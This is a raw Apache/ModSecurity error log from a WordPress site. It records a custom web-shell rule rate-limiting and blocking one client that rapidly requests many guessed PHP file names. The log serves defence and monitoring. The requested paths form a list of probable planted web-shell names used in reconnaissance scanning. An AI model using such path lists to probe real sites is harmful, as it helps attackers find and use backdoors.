[Thu Dec 18 19:41:50.126383 2025] [:error] [pid 23558:tid 23636] [client 4.196.109.118:6031] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUPofuHam9NbgPQa9uYJ5gAAANU"]
[Thu Dec 18 19:41:50.663186 2025] [:error] [pid 12239:tid 12253] [client 4.196.109.118:6141] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUPoftNnXxfGIuWO6an8ggAAAok"]
[Thu Dec 18 19:41:51.522783 2025] [:error] [pid 23558:tid 23628] [client 4.196.109.118:6097] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUPof-Ham9NbgPQa9uYJ5wAAAM0"]
[Thu Dec 18 19:41:52.170879 2025] [:error] [pid 12239:tid 12267] [client 4.196.109.118:5956] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aUPogNNnXxfGIuWO6an8gwAAApc"]
[Thu Dec 18 19:41:52.764974 2025] [:error] [pid 24542:tid 24565] [client 4.196.109.118:6055] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aUPogEtQz4H2oS3NrDb77AAAAVU"]
[Thu Dec 18 19:41:53.242630 2025] [:error] [pid 23558:tid 23629] [client 4.196.109.118:6066] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aUPogeHam9NbgPQa9uYJ6AAAAM4"]
[Thu Dec 18 19:41:53.547813 2025] [:error] [pid 23558:tid 23622] [client 4.196.109.118:6019] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aUPogeHam9NbgPQa9uYJ6QAAAMc"]
[Thu Dec 18 19:41:53.698781 2025] [:error] [pid 12035:tid 12060] [client 4.196.109.118:6067] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aUPogbcVHrNSHjCo-0qIgwAAAhE"]
[Thu Dec 18 19:41:53.976866 2025] [:error] [pid 12383:tid 12402] [client 4.196.109.118:6132] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aves.php"] [unique_id "aUPogfdgllo9h1cyxGa16AAAAtA"]
[Thu Dec 18 19:41:54.744723 2025] [:error] [pid 12383:tid 12393] [client 4.196.109.118:6112] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aves.php"] [unique_id "aUPogvdgllo9h1cyxGa16QAAAsc"]
[Thu Dec 18 19:41:55.133966 2025] [:error] [pid 12035:tid 12063] [client 4.196.109.118:6046] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aves.php"] [unique_id "aUPog7cVHrNSHjCo-0qIhQAAAhQ"]
[Thu Dec 18 19:41:55.655995 2025] [:error] [pid 23558:tid 23616] [client 4.196.109.118:6126] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aves.php"] [unique_id "aUPog-Ham9NbgPQa9uYJ6wAAAME"]
[Thu Dec 18 19:41:56.504426 2025] [:error] [pid 12383:tid 12399] [client 4.196.109.118:6051] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/chosen.php"] [unique_id "aUPohPdgllo9h1cyxGa17QAAAs0"]
[Thu Dec 18 19:41:57.143469 2025] [:error] [pid 23558:tid 23626] [client 4.196.109.118:6072] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/chosen.php"] [unique_id "aUPoheHam9NbgPQa9uYJ7gAAAMs"]
[Thu Dec 18 19:41:57.788267 2025] [:error] [pid 25357:tid 25372] [client 4.196.109.118:6094] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/chosen.php"] [unique_id "aUPohYaT7bsEXnJVfJdVzwAAAc0"]
[Thu Dec 18 19:41:58.444594 2025] [:error] [pid 23556:tid 23574] [client 4.196.109.118:6068] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/chosen.php"] [unique_id "aUPohhnmLlk3u5yt9kHXEQAAAA4"]
[Thu Dec 18 19:41:58.726225 2025] [:error] [pid 12383:tid 12401] [client 4.196.109.118:6098] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aUPohvdgllo9h1cyxGa17gAAAs8"]
[Thu Dec 18 19:41:58.989411 2025] [:error] [pid 23556:tid 23580] [client 4.196.109.118:5981] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aUPohhnmLlk3u5yt9kHXEgAAABQ"]
[Thu Dec 18 19:41:59.063386 2025] [:error] [pid 12383:tid 12408] [client 4.196.109.118:5991] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aUPoh_dgllo9h1cyxGa17wAAAtY"]
[Thu Dec 18 19:41:59.356964 2025] [:error] [pid 24542:tid 24557] [client 4.196.109.118:6005] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aUPoh0tQz4H2oS3NrDb77wAAAU0"]
[Thu Dec 18 19:42:00.672525 2025] [:error] [pid 23558:tid 23627] [client 4.196.109.118:5971] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manage.php"] [unique_id "aUPoiOHam9NbgPQa9uYJ8gAAAMw"]
[Thu Dec 18 19:42:02.093925 2025] [:error] [pid 12239:tid 12252] [client 4.196.109.118:5929] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manage.php"] [unique_id "aUPoitNnXxfGIuWO6an8kAAAAog"]
[Thu Dec 18 19:42:02.854585 2025] [:error] [pid 25357:tid 25366] [client 4.196.109.118:5984] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manage.php"] [unique_id "aUPoioaT7bsEXnJVfJdV0gAAAcc"]
[Thu Dec 18 19:42:03.224369 2025] [:error] [pid 23645:tid 23658] [client 4.196.109.118:6090] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manage.php"] [unique_id "aUPoizf_Rx0Y0ao_QJhLBAAAAIs"]
[Thu Dec 18 19:42:03.446424 2025] [:error] [pid 23556:tid 23568] [client 4.196.109.118:6075] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ini.php"] [unique_id "aUPoixnmLlk3u5yt9kHXEwAAAAg"]
[Thu Dec 18 19:42:20.648687 2025] [autoindex:error] [pid 23645:tid 23658] [client 4.196.109.118:6033] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 18 19:42:46.437886 2025] [:error] [pid 23645:tid 23647] [client 4.196.109.118:6033] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/usep.php"] [unique_id "aUPotjf_Rx0Y0ao_QJhLGQAAAIA"]
[Thu Dec 18 19:42:47.164304 2025] [:error] [pid 12239:tid 12245] [client 4.196.109.118:6065] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/usep.php"] [unique_id "aUPot9NnXxfGIuWO6an8ogAAAoE"]
[Thu Dec 18 19:42:47.729718 2025] [:error] [pid 23556:tid 23564] [client 4.196.109.118:6117] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/usep.php"] [unique_id "aUPotxnmLlk3u5yt9kHXJgAAAAQ"]
[Thu Dec 18 19:42:48.705631 2025] [:error] [pid 24542:tid 24561] [client 4.196.109.118:6101] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/usep.php"] [unique_id "aUPouEtQz4H2oS3NrDb7_AAAAVE"]
[Thu Dec 18 19:42:49.115050 2025] [:error] [pid 24958:tid 24963] [client 4.196.109.118:6079] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUPouckDOrUkd0wNm2G9IQAAAYI"]
[Thu Dec 18 19:42:50.940028 2025] [:error] [pid 25357:tid 25364] [client 4.196.109.118:6043] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUPouoaT7bsEXnJVfJdV3AAAAcU"]
[Thu Dec 18 19:42:52.164908 2025] [:error] [pid 12239:tid 12254] [client 4.196.109.118:6048] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUPovNNnXxfGIuWO6an8qAAAAoo"]
[Thu Dec 18 19:42:52.752318 2025] [:error] [pid 23558:tid 23629] [client 4.196.109.118:5961] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aUPovOHam9NbgPQa9uYKCgAAAM4"]
[Thu Dec 18 19:42:53.123015 2025] [:error] [pid 23558:tid 23622] [client 4.196.109.118:6070] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aUPoveHam9NbgPQa9uYKCwAAAMc"]
[Thu Dec 18 19:42:53.421074 2025] [:error] [pid 12035:tid 12055] [client 4.196.109.118:5970] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aUPovbcVHrNSHjCo-0qIqgAAAgw"]
[Thu Dec 18 19:42:54.529709 2025] [:error] [pid 24542:tid 24548] [client 4.196.109.118:6125] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aUPovktQz4H2oS3NrDb8EAAAAUQ"]
[Thu Dec 18 19:42:55.731557 2025] [:error] [pid 23558:tid 23631] [client 4.196.109.118:6022] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd67.php"] [unique_id "aUPov-Ham9NbgPQa9uYKDgAAANA"]
[Thu Dec 18 19:42:56.086065 2025] [:error] [pid 24433:tid 24439] [client 4.196.109.118:6076] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aUPowJ4pN9ycmipm8TjIsgAAAQM"]
[Thu Dec 18 19:42:56.415126 2025] [:error] [pid 23558:tid 23626] [client 4.196.109.118:6042] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aUPowOHam9NbgPQa9uYKDwAAAMs"]
[Thu Dec 18 19:42:56.727354 2025] [:error] [pid 23645:tid 23654] [client 4.196.109.118:6027] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aUPowDf_Rx0Y0ao_QJhLHQAAAIc"]
[Thu Dec 18 19:42:57.007899 2025] [:error] [pid 12035:tid 12057] [client 4.196.109.118:5987] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aUPowbcVHrNSHjCo-0qIsgAAAg4"]
[Thu Dec 18 19:42:57.321791 2025] [:error] [pid 23645:tid 23666] [client 4.196.109.118:6085] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aUPowTf_Rx0Y0ao_QJhLHgAAAJM"]
[Thu Dec 18 19:42:57.947923 2025] [:error] [pid 12239:tid 12265] [client 4.196.109.118:5903] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aUPowdNnXxfGIuWO6an8vgAAApU"]
[Thu Dec 18 19:42:58.602269 2025] [:error] [pid 24542:tid 24554] [client 4.196.109.118:5920] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aUPowktQz4H2oS3NrDb8IgAAAUo"]
[Thu Dec 18 19:42:59.097625 2025] [:error] [pid 23556:tid 23574] [client 4.196.109.118:5907] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aUPowxnmLlk3u5yt9kHXKgAAAA4"]
[Thu Dec 18 19:42:59.659068 2025] [:error] [pid 12239:tid 12251] [client 4.196.109.118:6116] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aUPow9NnXxfGIuWO6an9CQAAAoc"]
[Thu Dec 18 19:43:00.069997 2025] [:error] [pid 23645:tid 23671] [client 4.196.109.118:5958] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aUPoxDf_Rx0Y0ao_QJhLIQAAAJg"]
[Thu Dec 18 19:43:00.686134 2025] [:error] [pid 24433:tid 24441] [client 4.196.109.118:6017] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aUPoxJ4pN9ycmipm8TjItgAAAQU"]
[Thu Dec 18 19:43:01.094722 2025] [:error] [pid 25357:tid 25374] [client 4.196.109.118:6018] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aUPoxYaT7bsEXnJVfJdV4QAAAc8"]
[Thu Dec 18 19:43:01.428512 2025] [:error] [pid 24958:tid 24970] [client 4.196.109.118:6123] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aUPoxckDOrUkd0wNm2G9KQAAAYk"]
[Thu Dec 18 19:43:02.098582 2025] [:error] [pid 25357:tid 25378] [client 4.196.109.118:5990] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aUPoxoaT7bsEXnJVfJdV4gAAAdM"]
[Thu Dec 18 19:43:02.836918 2025] [:error] [pid 23558:tid 23627] [client 4.196.109.118:5982] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aUPoxuHam9NbgPQa9uYKEgAAAMw"]
[Thu Dec 18 19:43:03.156128 2025] [:error] [pid 12383:tid 12402] [client 4.196.109.118:6062] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aUPox_dgllo9h1cyxGa2LgAAAtA"]
[Thu Dec 18 19:43:03.730592 2025] [:error] [pid 23558:tid 23615] [client 4.196.109.118:5963] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aUPox-Ham9NbgPQa9uYKFAAAAMA"]
[Thu Dec 18 19:43:04.906258 2025] [:error] [pid 23556:tid 23572] [client 4.196.109.118:6134] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aUPoyBnmLlk3u5yt9kHXLgAAAAw"]
